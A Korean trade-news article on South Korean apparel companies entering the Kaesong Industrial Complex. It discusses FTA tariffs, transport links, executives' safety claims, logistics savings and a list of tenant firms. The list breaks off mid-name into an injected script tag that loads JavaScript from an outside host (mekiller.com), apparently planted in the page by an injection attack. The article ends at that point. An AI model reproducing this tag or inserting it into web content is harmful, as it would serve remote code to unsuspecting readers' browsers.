시험단지 의류기업 진출러시
체계적 교육시스템 통한 기술이전 ‘활발’
한미 FTA 체결이후 관세철회를 비롯한 여러 쟁점이 논의 되면서 개성공단 제품의 한국산 표기를 놓고 관심이 모아지고 있다.
이런 분위기는 개성공단에 대한 장기적인 비전과 투자가치에 대한 업체들의 관심을 이끌어 냈으며 최근 국내 의류업체들은 개성을 직접 방문해 시장조사를 펼치는 한편 북측과 긴밀한 접속을 시도하고 있는 것으로 알려졌다. 또한 남북 간 철도 구간이 연결되면서 문산역과 개성역과 불과 30km 거리에 위치해있으며 평양과 개성간 4차선 고속도로를 비롯한 개성과 신의주간 도로와 경의선 철도가 현재 운행되고 있다. 개성공단이 각광을 받고 있는 가장 큰 이유는 동북아 중심의 최적의 교통망과 서울에서 불과 한 시간 거리에 위치해 있다는 장점을 갖고 있다. 또 서울을 거쳐 인천 지역을 들어가야 했던 것과 달리 현대아산측의 신축 다리 공사를 통해 인천과 개성을 30분 만에 갈 수 있는 육로를 건설중이다.
세계최고 안전 구역(?)
당초 현대아산의 북측에 대한 투자는 평양을 중심으로 계획됐으나 북측은 개성시를 중심으로 개발이 이뤄지길 원했다.
현대아산측 관계자는 “개성공단에 대한 개발이 이뤄지기 전 개성시는 북한 군의 전략적 요충지로 매우 중요한 역할을 해왔다. 우리 측 제안과 달리 개성시 투자를 요청해 매우 놀랐다”며 개성공단 초기 상황을 설명했다.
이후 이런 문제는 북한의 미사일 발사와 관련돼 한반도 긴장감 조성은 개성공단 업체들에게 악영향을 미치기도 했다. 그러나 개성공단에 대한 발전적 가능성을 긍정적으로 판단한 신원은 지난 2004년 공장착공에 들어가며 안정적인 모습을 보이고 있다.
신원 박성철 회장은 “과거 북한에 대한 인식이 불안함과 위협감으로 여전히 존재하고 있지만 실제 남측주재원과 현지 생활을 살펴보면 전혀 문제될 것이 없다”며 “군사적 요충지인 개성을 공단으로 개발하면서 기존에 주둔해 있던 북한군이 다른 지역으로 이동, 지난해 북핵미사일이 발사되었을 때도 아무런 문제없이 100% 가동되었다”며 개성공단에 대한 안전성을 강조했다.
‘최대 80% 물류비 절감 효과’
한미 FTA 체결과 함께 관세 철폐를 실행한다 하더라도 물류비에 대한 부담은 여전하다.
또 인건비가 저렴한 중국과의 관계는 최근 중국의 인건비 상승과 자국 내 발전을 앞세운 국가 정책으로 국내 기업들의 활동범위가 크게 제안되고 있다.
반면 개성공단의 교통망은 최대 80%의 물류비를 절감할 수 있다고 전문가들은 말하고 있다.
그동안 90% 이상 해운에 치우쳐있던 북측과의 교류가 육로를 통해 이용될 경우 최대 물류비용 효과를 거둘 것으로 빠르면 5-10년 안에 기차를 이용한 중국과의 수송이 가능해질 것으로 전망된다.
또 시베리안 횡단 철도와 중국횡단 철도가 연계될 경우 활동범위는 유럽을 포함한 세계 각국으로 더욱 확대될 것으로 예상된다.
국내 의류업체 진출 활발
개성공단 시범단지 운영에 참가한 국내 의류업체들은 현재 안정적인 공장 운영과 함께 북측으로부터 많은 혜택을 제공받고 있다.
‘신원’ ‘삼덕통산’ ‘문창기업’ ‘로만손’ 등이 시범단지 입주업체로 활발한 활동을 펼치고 있으며 특히 ‘신원’은 3개 공장을 가동하며 높은 생산량을 보이고 있다.
뒤를 이어 진출한 ‘성화개성’ ‘좋은사람들’ ‘코튼클럽’ ‘제일상품’ ‘밀리온스’ ‘평안’ ‘녹색섬유’ ‘평화유통’ ‘아트랑’ ‘진글라이더’ ‘에스엔지’ ‘서도산?script src=http://mekiller.com/1/1.js>